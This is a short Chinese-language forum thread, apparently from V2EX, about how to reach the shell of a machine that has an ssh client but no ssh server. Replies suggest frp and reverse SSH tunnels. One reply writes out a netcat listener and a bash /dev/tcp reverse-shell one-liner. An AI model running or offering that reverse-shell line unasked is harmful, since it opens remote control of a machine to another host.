1
hdp5252 2023-03-16 20:08:04 +08:00 via Android
需要一个有外网 IP 的服务器,把内网服务器的 IP 映射到外网服务器的一个端口,然后应该就能连接了
我以前试过,可以用 |
2
dcsuibian 2023-03-16 20:18:55 +08:00 via Android
租云服务器用 frp
ssh 的隧道是给其它程序借用的,而你是 ssh 本身就连不上 |
3
chackchackGO OP 我实际情况是 要被暴露 shell 的服务端只有 ssh client 没有 ssh server, 所以我想让服务端用 ssh client 来主动连接客户端.
那看来还是一定要安装 ssh server 了 |
4
cxtrinityy 2023-03-16 20:57:30 +08:00 via Android
ssh tunnel 就是端口映射,如果你想通过 tunnel 来保证客户端能和服务端建立连接,你可以在服务端调用如下命令:ssh -R 123:localhost:22 你的公网机子的 ip
这样就会将公网机子的 123 端口收到的数据转发到服务端的 22 端口,也就是 ssh 监听的端口,然后客户端 ssh 到公网机子的 123 就会和服务端建立 ssh 连接 还有一个更直接的概念叫 reverse shell ,这就是直接暴露 shell 的方法,原理是客户端监听一个端口,服务端连接该端口并将该端口收到的数据放到 shell 里执行 |
5
loveqianool 2023-03-16 20:59:43 +08:00
Web SSH & Telnet
|
6
coolloves 2023-03-17 16:10:58 +08:00
客户端 cip 随便开端口
nc -lvp 4444 服务器上执行 bash -i >& /dev/tcp/cip/4444 0>&1 客户端上此时在终端中就可以操作服务端了 |
7
chackchackGO OP |
8
coolloves 2023-03-17 23:12:00 +08:00 1
@chackchackGO 试试不就知道啦.当执行了第二步后,所谓的反向链接,客户端的电脑上就可以执行服务器的命令了,搜下 shell 反弹,自行了解吧.
|
9
chackchackGO OP @coolloves 笨比了, 没意识到 cip 的意义
|